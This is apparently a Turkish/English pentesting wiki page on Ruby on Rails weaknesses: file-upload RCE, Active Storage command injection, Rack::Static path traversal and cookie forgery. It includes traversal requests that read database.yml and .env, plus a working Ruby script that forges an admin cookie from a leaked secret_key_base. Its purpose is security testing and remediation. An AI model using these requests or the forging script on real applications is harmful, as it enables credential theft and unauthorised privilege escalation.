Ruby İpuçları

Reading time: 5 minutes

Dosya yükleme ile RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

İpuçları:

• Uygulama başlatılırken çalıştırılan diğer boot/eager-load konumları da yazılabilir ise risklidir (ör. config/initializers/ klasik örnektir). Eğer config/ altında herhangi bir yere düşen ve sonradan evaluated/required edilen rastgele bir dosya yüklemesi bulursanız, boot sırasında RCE elde edebilirsiniz.
• Rails'in boot sırasında yükleyeceği container image içine user-controlled dosyalar kopyalayan dev/staging build'leri arayın.

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

• A vulnerable pattern looks like:

<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

• What to try during testing

• Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.

• Fuzz params[:t] and params[:v] for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.

• If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.

• Remediation/detections

• If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + image_processing + mini_magick and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

• Hunt for apps that mount Rack::Static in config.ru or middleware stacks. Try encoded traversals against static paths, for example:

GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.

• Mitigation: upgrade Rack; ensure :root only points to a directory of public files and is explicitly set.

secret_key_base leaked olduğunda Rails çerezlerini sahteleme/şifre çözme

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Notlar:

• Eski uygulamalar AES-256-CBC ve salt'lar encrypted cookie / signed encrypted cookie, veya JSON/Marshal serializer'ları kullanıyor olabilir. Saltları, cipher'ı ve serializer'ı buna göre ayarlayın.
• İhlal/değerlendirme durumunda, tüm mevcut çerezleri geçersiz kılmak için secret_key_base'i yenileyin.

Ayrıca bakınız (Ruby/Rails-özgü zafiyetler)

• Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
• Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)

Kaynaklar

• Rails Güvenlik Duyurusu: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
• GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v